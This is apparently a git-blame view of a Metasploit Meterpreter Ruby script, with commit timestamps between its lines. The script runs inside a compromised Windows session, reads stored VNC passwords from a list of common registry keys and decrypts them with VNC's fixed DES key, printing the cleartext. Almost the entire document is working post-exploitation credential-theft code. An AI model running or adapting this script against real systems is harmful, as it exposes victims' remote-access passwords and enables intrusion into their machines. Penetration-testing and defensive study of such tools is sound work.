2010-03-25 03:50:25 +00:00
|
|
|
#----------------------------------------------------------------
|
|
|
|
# Meterpreter script to obtain the VNC password out of the
|
|
|
|
# registry and print its decoded cleartext
|
|
|
|
#
|
|
|
|
# by Kurt Grutzmacher <grutz@jingojango.net>
|
|
|
|
#
|
|
|
|
# rev history
|
|
|
|
# -----------
|
|
|
|
# 1.0 - 9/24/9 - Initial release
|
|
|
|
#----------------------------------------------------------------
|
|
|
|
|
2010-11-14 03:37:45 +00:00
|
|
|
require 'rex/proto/rfb/cipher'
|
2010-03-25 03:50:25 +00:00
|
|
|
|
|
|
|
session = client
|
|
|
|
|
|
|
|
@@exec_opts = Rex::Parser::Arguments.new(
|
2013-09-30 18:47:53 +00:00
|
|
|
"-h" => [ false, "Help menu."],
|
|
|
|
"-k" => [ true, "Specific registry key to search (minus Password)."],
|
|
|
|
"-l" => [ false, "List default key locations"]
|
2010-03-25 03:50:25 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
def usage()
|
2013-09-30 18:47:53 +00:00
|
|
|
print("\nPull the VNC Password from a Windows Meterpreter session\n")
|
|
|
|
print("By default an internal list of keys will be searched.\n\n")
|
|
|
|
print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n")
|
|
|
|
print("\t-l\tList default key locations\n\n")
|
|
|
|
completed
|
2010-03-25 03:50:25 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def get_vncpw(session, key)
|
2013-09-30 18:47:53 +00:00
|
|
|
root_key, base_key = session.sys.registry.splitkey(key)
|
|
|
|
open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
|
|
|
|
begin
|
|
|
|
return open_key.query_value('Password')
|
|
|
|
rescue
|
|
|
|
# no registry key found or other error
|
|
|
|
return nil
|
|
|
|
end
|
2010-03-25 03:50:25 +00:00
|
|
|
end
|
|
|
|
|
2010-05-14 16:00:27 +00:00
|
|
|
def listkeylocations(keys)
|
2013-09-30 18:47:53 +00:00
|
|
|
print_line("\nVNC Registry Key Locations")
|
|
|
|
print_line("--------------------------\n")
|
|
|
|
keys.each { |key|
|
|
|
|
print_line("\t#{key}")
|
|
|
|
}
|
|
|
|
completed
|
2010-05-14 16:00:27 +00:00
|
|
|
end
|
|
|
|
|
2010-03-25 03:50:25 +00:00
|
|
|
# fixed des key
|
|
|
|
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
|
|
|
|
# 5A B2 CD C0 BA DC AF 13
|
|
|
|
# some common places for VNC password hashes
|
|
|
|
keys = [
|
2013-09-30 18:47:53 +00:00
|
|
|
'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3',
|
|
|
|
'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default',
|
|
|
|
'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default',
|
|
|
|
'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4',
|
|
|
|
'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default',
|
2010-11-14 03:37:45 +00:00
|
|
|
]
|
2010-03-25 03:50:25 +00:00
|
|
|
|
|
|
|
# parse the command line
|
|
|
|
listkeylocs = false
|
|
|
|
keytosearch = nil
|
|
|
|
|
|
|
|
@@exec_opts.parse(args) { |opt, idx, val|
|
2013-09-30 18:47:53 +00:00
|
|
|
case opt
|
|
|
|
when "-h"
|
|
|
|
usage
|
|
|
|
when "-l"
|
|
|
|
listkeylocations(keys)
|
|
|
|
when "-k"
|
|
|
|
keytosearch = val
|
|
|
|
end
|
2010-03-25 03:50:25 +00:00
|
|
|
}
|
2010-09-09 16:09:27 +00:00
|
|
|
if client.platform =~ /win32|win64/
|
2010-05-14 16:00:27 +00:00
|
|
|
if keytosearch == nil
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Searching for VNC Passwords in the registry....")
|
|
|
|
keys.each { |key|
|
|
|
|
vncpw = get_vncpw(session, key)
|
|
|
|
if vncpw
|
|
|
|
vncpw_hextext = vncpw.data.unpack("H*").to_s
|
|
|
|
vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
|
|
|
|
print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}")
|
|
|
|
end
|
|
|
|
}
|
2010-05-14 16:00:27 +00:00
|
|
|
else
|
2013-09-30 18:47:53 +00:00
|
|
|
print_status("Searching in regkey: #{keytosearch}")
|
|
|
|
vncpw = get_vncpw(session, keytosearch)
|
|
|
|
if vncpw
|
|
|
|
vncpw_hextext = vncpw.data.unpack("H*").to_s
|
|
|
|
vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
|
|
|
|
print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}")
|
|
|
|
else
|
|
|
|
print_status("Not found")
|
|
|
|
end
|
2010-03-25 03:50:25 +00:00
|
|
|
end
|
2010-09-09 16:09:27 +00:00
|
|
|
else
|
2013-09-30 18:47:53 +00:00
|
|
|
print_error("This version of Meterpreter is not supported with this Script!")
|
|
|
|
raise Rex::Script::Completed
|
2010-09-09 16:09:27 +00:00
|
|
|
end
|